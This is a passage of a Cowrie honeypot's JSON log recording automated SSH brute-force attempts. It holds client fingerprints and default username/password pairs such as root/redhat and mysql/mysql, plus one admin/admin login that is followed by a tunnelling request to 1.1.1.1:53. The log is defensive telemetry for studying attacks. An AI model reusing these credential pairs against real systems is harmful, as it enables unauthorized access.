om","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:19:01.260117Z","src_ip":"45.156.87.147","session":"0f4f2e32823a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"redhat","message":"login attempt [root/redhat] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:19:01.515118Z","src_ip":"45.156.87.147","session":"0f4f2e32823a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:19:01.598800Z","src_ip":"43.166.242.149","session":"1ba3273d16cd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:19:02.606156Z","src_ip":"45.156.87.147","session":"0f4f2e32823a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":60962,"dst_ip":"10.17.0.5","dst_port":22,"session":"aacb89d70906","protocol":"ssh","message":"New connection: 45.156.87.147:60962 (10.17.0.5:22) [session: aacb89d70906]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:19:06.833642Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:19:06.838004Z","src_ip":"45.156.87.147","session":"aacb89d70906","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:19:06.922250Z","src_ip":"45.156.87.147","session":"aacb89d70906","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin123!@#","message":"login attempt [root/Admin123!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:19:07.174827Z","src_ip":"45.156.87.147","session":"aacb89d70906","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.219.200.1","src_port":55044,"dst_ip":"10.17.0.5","dst_port":22,"session":"dc25b5bc9cc4","protocol":"ssh","message":"New connection: 8.219.200.1:55044 (10.17.0.5:22) [session: dc25b5bc9cc4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:19:07.870144Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:19:08.262434Z","src_ip":"45.156.87.147","session":"aacb89d70906","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.49192452430725,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:19:08.585907Z","src_ip":"102.37.220.188","session":"dffda4d79b20","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:19:12.250156Z","src_ip":"8.219.200.1","session":"dc25b5bc9cc4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:19:12.484092Z","src_ip":"8.219.200.1","session":"dc25b5bc9cc4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":41100,"dst_ip":"10.17.0.5","dst_port":22,"session":"4aa4503d68e5","protocol":"ssh","message":"New connection: 45.156.87.147:41100 (10.17.0.5:22) [session: 4aa4503d68e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:19:12.494292Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:19:12.499161Z","src_ip":"45.156.87.147","session":"4aa4503d68e5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:19:12.580785Z","src_ip":"45.156.87.147","session":"4aa4503d68e5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"mysql","message":"login attempt [mysql/mysql] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:19:12.831469Z","src_ip":"45.156.87.147","session":"4aa4503d68e5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:19:13.918447Z","src_ip":"45.156.87.147","session":"4aa4503d68e5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"g","password":"g","message":"login attempt [g/g] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:19:14.196108Z","src_ip":"8.219.200.1","session":"dc25b5bc9cc4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.189.235.114","src_port":59006,"dst_ip":"159.203.135.109","dst_port":22,"session":"aed03fd2e2f1","protocol":"ssh","message":"New connection: 103.189.235.114:59006 (159.203.135.109:22) [session: aed03fd2e2f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:19:14.472192Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:19:14.475899Z","src_ip":"103.189.235.114","session":"aed03fd2e2f1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:19:14.733928Z","src_ip":"103.189.235.114","session":"aed03fd2e2f1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.6","message":"Connection lost after 7.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:19:15.435345Z","src_ip":"8.219.200.1","session":"dc25b5bc9cc4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vertigo","password":"vertigo","message":"login attempt [vertigo/vertigo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:19:15.823133Z","src_ip":"103.189.235.114","session":"aed03fd2e2f1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:19:17.080721Z","src_ip":"103.189.235.114","session":"aed03fd2e2f1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":51952,"dst_ip":"10.17.0.5","dst_port":22,"session":"d4f5359cf7bb","protocol":"ssh","message":"New connection: 87.251.64.176:51952 (10.17.0.5:22) [session: d4f5359cf7bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:19:17.851708Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:19:17.856363Z","src_ip":"87.251.64.176","session":"d4f5359cf7bb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:19:17.999802Z","src_ip":"87.251.64.176","session":"d4f5359cf7bb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":41118,"dst_ip":"10.17.0.5","dst_port":22,"session":"5e6743b1eb2d","protocol":"ssh","message":"New connection: 45.156.87.147:41118 (10.17.0.5:22) [session: 5e6743b1eb2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:19:18.272976Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:19:18.278046Z","src_ip":"45.156.87.147","session":"5e6743b1eb2d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:19:18.363210Z","src_ip":"45.156.87.147","session":"5e6743b1eb2d","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:19:18.382351Z","src_ip":"87.251.64.176","session":"d4f5359cf7bb","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:19:18.479913Z","session":"d4f5359cf7bb","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:19:18.576656Z","src_ip":"87.251.64.176","session":"d4f5359cf7bb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"asterisk","password":"asterisk","message":"login attempt [asterisk/asterisk] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:19:18.616088Z","src_ip":"45.156.87.147","session":"5e6743b1eb2d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:19:18.676032Z","src_ip":"87.251.64.176","session":"d4f5359cf7bb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:19:19.706224Z","src_ip":"45.156.87.147","session":"5e6743b1eb2d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":52804,"dst_ip":"10.17.0.5","dst_port":22,"session":"c986f923e85f","protocol":"ssh","message":"New connection: 45.156.87.147:52804 (10.17.0.5:22) [session: c986f923e85f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:19:23.964785Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:19:23.969082Z","src_ip":"45.156.87.147","session":"c986f923e85f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:19:24.054615Z","src_ip":"45.156.87.147","session":"c986f923e85f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"student","password":"password","message":"login attempt [student/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:19:24.301887Z","src_ip":"45.156.87.147","session":"c986f923e85f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:19:25.385355Z","src_ip":"45.156.87.147","session":"c986f923e85f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":54880,"dst_ip":"10.17.0.5","dst_port":22,"session":"65cb09ad6fd4","protocol":"ssh","message":"New connection: 45.156.87.147:54880 (10.17.0.5:22) [session: 65cb09ad6fd4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:19:29.756661Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:19:29.760935Z","src_ip":"45.156.87.147","session":"65cb09ad6fd4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@o